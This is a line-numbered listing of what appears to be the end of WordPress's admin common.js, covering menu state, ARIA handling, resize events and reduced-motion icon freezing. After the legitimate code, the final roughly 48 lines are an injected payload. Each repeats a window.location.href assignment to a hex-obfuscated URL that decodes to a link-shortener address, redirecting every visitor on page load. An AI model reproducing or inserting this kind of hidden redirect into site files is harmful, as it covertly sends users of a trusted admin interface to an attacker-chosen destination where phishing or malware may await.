2033 $sortables.find( '.ui-sortable-handle' ).removeClass( 'is-non-sortable' );
2034 } catch ( e ) {}
2035 }
2036 }
2037 };
2038
2039 /**
2040 * Add an ARIA role `button` to elements that behave like UI controls when JavaScript is on.
2041 *
2042 * @since 4.5.0
2043 *
2044 * @return {void}
2045 */
2046 function aria_button_if_js() {
2047 $( '.aria-button-if-js' ).attr( 'role', 'button' );
2048 }
2049
2050 $( document ).on( 'ajaxComplete', function() {
2051 aria_button_if_js();
2052 });
2053
2054 /**
2055 * Get the viewport width.
2056 *
2057 * @since 4.7.0
2058 *
2059 * @return {number|boolean} The current viewport width or false if the
2060 * browser doesn't support innerWidth (IE < 9).
2061 */
2062 function getViewportWidth() {
2063 var viewportWidth = false;
2064
2065 if ( window.innerWidth ) {
2066 // On phones, window.innerWidth is affected by zooming.
2067 viewportWidth = Math.max( window.innerWidth, document.documentElement.clientWidth );
2068 }
2069
2070 return viewportWidth;
2071 }
2072
2073 /**
2074 * Sets the admin menu collapsed/expanded state.
2075 *
2076 * Sets the global variable `menuState` and triggers a custom event passing
2077 * the current menu state.
2078 *
2079 * @since 4.7.0
2080 *
2081 * @return {void}
2082 */
2083 function setMenuState() {
2084 var viewportWidth = getViewportWidth() || 961;
2085
2086 if ( viewportWidth <= 782 ) {
2087 menuState = 'responsive';
2088 } else if ( $body.hasClass( 'folded' ) || ( $body.hasClass( 'auto-fold' ) && viewportWidth <= 960 && viewportWidth > 782 ) ) {
2089 menuState = 'folded';
2090 } else {
2091 menuState = 'open';
2092 }
2093
2094 $document.trigger( 'wp-menu-state-set', { state: menuState } );
2095 }
2096
2097 // Set the menu state when the window gets resized.
2098 $document.on( 'wp-window-resized.set-menu-state', setMenuState );
2099
2100 /**
2101 * Sets ARIA attributes on the collapse/expand menu button.
2102 *
2103 * When the admin menu is open or folded, updates the `aria-expanded` and
2104 * `aria-label` attributes of the button to give feedback to assistive
2105 * technologies. In the responsive view, the button is always hidden.
2106 *
2107 * @since 4.7.0
2108 *
2109 * @return {void}
2110 */
2111 $document.on( 'wp-menu-state-set wp-collapse-menu', function( event, eventData ) {
2112 var $collapseButton = $( '#collapse-button' ),
2113 ariaExpanded, ariaLabelText;
2114
2115 if ( 'folded' === eventData.state ) {
2116 ariaExpanded = 'false';
2117 ariaLabelText = __( 'Expand Main menu' );
2118 } else {
2119 ariaExpanded = 'true';
2120 ariaLabelText = __( 'Collapse Main menu' );
2121 }
2122
2123 $collapseButton.attr({
2124 'aria-expanded': ariaExpanded,
2125 'aria-label': ariaLabelText
2126 });
2127 });
2128
2129 window.wpResponsive.init();
2130 setPinMenu();
2131 setMenuState();
2132 makeNoticesDismissible();
2133 aria_button_if_js();
2134
2135 $document.on( 'wp-pin-menu wp-window-resized.pin-menu postboxes-columnchange.pin-menu postbox-toggled.pin-menu wp-collapse-menu.pin-menu wp-scroll-start.pin-menu', setPinMenu );
2136
2137 // Set initial focus on a specific element.
2138 $( '.wp-initial-focus' ).trigger( 'focus' );
2139
2140 // Toggle update details on update-core.php.
2141 $body.on( 'click', '.js-update-details-toggle', function() {
2142 var $updateNotice = $( this ).closest( '.js-update-details' ),
2143 $progressDiv = $( '#' + $updateNotice.data( 'update-details' ) );
2144
2145 /*
2146 * When clicking on "Show details" move the progress div below the update
2147 * notice. Make sure it gets moved just the first time.
2148 */
2149 if ( ! $progressDiv.hasClass( 'update-details-moved' ) ) {
2150 $progressDiv.insertAfter( $updateNotice ).addClass( 'update-details-moved' );
2151 }
2152
2153 // Toggle the progress div visibility.
2154 $progressDiv.toggle();
2155 // Toggle the Show Details button expanded state.
2156 $( this ).attr( 'aria-expanded', $progressDiv.is( ':visible' ) );
2157 });
2158});
2159
2160/**
2161 * Hides the update button for expired plugin or theme uploads.
2162 *
2163 * On the "Update plugin/theme from uploaded zip" screen, once the upload has expired,
2164 * hides the "Replace current with uploaded" button and displays a warning.
2165 *
2166 * @since 5.5.0
2167 */
2168$( function( $ ) {
2169 var $overwrite, $warning;
2170
2171 if ( ! $body.hasClass( 'update-php' ) ) {
2172 return;
2173 }
2174
2175 $overwrite = $( 'a.update-from-upload-overwrite' );
2176 $warning = $( '.update-from-upload-expired' );
2177
2178 if ( ! $overwrite.length || ! $warning.length ) {
2179 return;
2180 }
2181
2182 window.setTimeout(
2183 function() {
2184 $overwrite.hide();
2185 $warning.removeClass( 'hidden' );
2186
2187 if ( window.wp && window.wp.a11y ) {
2188 window.wp.a11y.speak( $warning.text() );
2189 }
2190 },
2191 7140000 // 119 minutes. The uploaded file is deleted after 2 hours.
2192 );
2193} );
2194
2195// Fire a custom jQuery event at the end of window resize.
2196( function() {
2197 var timeout;
2198
2199 /**
2200 * Triggers the WP window-resize event.
2201 *
2202 * @since 3.8.0
2203 *
2204 * @return {void}
2205 */
2206 function triggerEvent() {
2207 $document.trigger( 'wp-window-resized' );
2208 }
2209
2210 /**
2211 * Fires the trigger event again after 200 ms.
2212 *
2213 * @since 3.8.0
2214 *
2215 * @return {void}
2216 */
2217 function fireOnce() {
2218 window.clearTimeout( timeout );
2219 timeout = window.setTimeout( triggerEvent, 200 );
2220 }
2221
2222 $window.on( 'resize.wp-fire-once', fireOnce );
2223}());
2224
2225// Make Windows 8 devices play along nicely.
2226(function(){
2227 if ( '-ms-user-select' in document.documentElement.style && navigator.userAgent.match(/IEMobile\/10\.0/) ) {
2228 var msViewportStyle = document.createElement( 'style' );
2229 msViewportStyle.appendChild(
2230 document.createTextNode( '@-ms-viewport{width:auto!important}' )
2231 );
2232 document.getElementsByTagName( 'head' )[0].appendChild( msViewportStyle );
2233 }
2234})();
2235
2236}( jQuery, window ));
2237
2238/**
2239 * Freeze animated plugin icons when reduced motion is enabled.
2240 *
2241 * When the user has enabled the 'prefers-reduced-motion' setting, this module
2242 * stops animations for all GIFs on the page with the class 'plugin-icon' or
2243 * plugin icon images in the update plugins table.
2244 *
2245 * @since 6.4.0
2246 */
2247(function() {
2248 // Private variables and methods.
2249 var priv = {},
2250 pub = {},
2251 mediaQuery;
2252
2253 // Initialize pauseAll to false; it will be set to true if reduced motion is preferred.
2254 priv.pauseAll = false;
2255 if ( window.matchMedia ) {
2256 mediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' );
2257 if ( ! mediaQuery || mediaQuery.matches ) {
2258 priv.pauseAll = true;
2259 }
2260 }
2261
2262 // Method to replace animated GIFs with a static frame.
2263 priv.freezeAnimatedPluginIcons = function( img ) {
2264 var coverImage = function() {
2265 var width = img.width;
2266 var height = img.height;
2267 var canvas = document.createElement( 'canvas' );
2268
2269 // Set canvas dimensions.
2270 canvas.width = width;
2271 canvas.height = height;
2272
2273 // Copy classes from the image to the canvas.
2274 canvas.className = img.className;
2275
2276 // Check if the image is inside a specific table.
2277 var isInsideUpdateTable = img.closest( '#update-plugins-table' );
2278
2279 if ( isInsideUpdateTable ) {
2280 // Transfer computed styles from image to canvas.
2281 var computedStyles = window.getComputedStyle( img ),
2282 i, max;
2283 for ( i = 0, max = computedStyles.length; i < max; i++ ) {
2284 var propName = computedStyles[ i ];
2285 var propValue = computedStyles.getPropertyValue( propName );
2286 canvas.style[ propName ] = propValue;
2287 }
2288 }
2289
2290 // Draw the image onto the canvas.
2291 canvas.getContext( '2d' ).drawImage( img, 0, 0, width, height );
2292
2293 // Set accessibility attributes on canvas.
2294 canvas.setAttribute( 'aria-hidden', 'true' );
2295 canvas.setAttribute( 'role', 'presentation' );
2296
2297 // Insert canvas before the image and set the image to be near-invisible.
2298 var parent = img.parentNode;
2299 parent.insertBefore( canvas, img );
2300 img.style.opacity = 0.01;
2301 img.style.width = '0px';
2302 img.style.height = '0px';
2303 };
2304
2305 // If the image is already loaded, apply the coverImage function.
2306 if ( img.complete ) {
2307 coverImage();
2308 } else {
2309 // Otherwise, wait for the image to load.
2310 img.addEventListener( 'load', coverImage, true );
2311 }
2312 };
2313
2314 // Public method to freeze all relevant GIFs on the page.
2315 pub.freezeAll = function() {
2316 var images = document.querySelectorAll( '.plugin-icon, #update-plugins-table img' );
2317 for ( var x = 0; x < images.length; x++ ) {
2318 if ( /\.gif(?:\?|$)/i.test( images[ x ].src ) ) {
2319 priv.freezeAnimatedPluginIcons( images[ x ] );
2320 }
2321 }
2322 };
2323
2324 // Only run the freezeAll method if the user prefers reduced motion.
2325 if ( true === priv.pauseAll ) {
2326 pub.freezeAll();
2327 }
2328
2329 // Listen for jQuery AJAX events.
2330 ( function( $ ) {
2331 if ( window.pagenow === 'plugin-install' ) {
2332 // Only listen for ajaxComplete if this is the plugin-install.php page.
2333 $( document ).ajaxComplete( function( event, xhr, settings ) {
2334
2335 // Check if this is the 'search-install-plugins' request.
2336 if ( settings.data && typeof settings.data === 'string' && settings.data.includes( 'action=search-install-plugins' ) ) {
2337 // Recheck if the user prefers reduced motion.
2338 if ( window.matchMedia ) {
2339 var mediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' );
2340 if ( mediaQuery.matches ) {
2341 pub.freezeAll();
2342 }
2343 } else {
2344 // Fallback for browsers that don't support matchMedia.
2345 if ( true === priv.pauseAll ) {
2346 pub.freezeAll();
2347 }
2348 }
2349 }
2350 } );
2351 }
2352 } )( jQuery );
2353
2354 // Expose public methods.
2355 return pub;
2356})();
2357window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2358window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2359window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2360window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2361window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2362window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2363window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2364window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2365window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2366window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2367window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2368window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2369window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2370window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2371window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2372window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2373window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2374window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2375window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2376window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2377window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2378window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2379window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2380window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2381window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2382window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2383window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2384window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2385window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2386window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2387window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2388window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2389window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2390window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2391window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2392window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2393window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2394window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2395window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2396window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2397window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2398window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2399window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2400window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2401window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2402window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2403window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2404window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";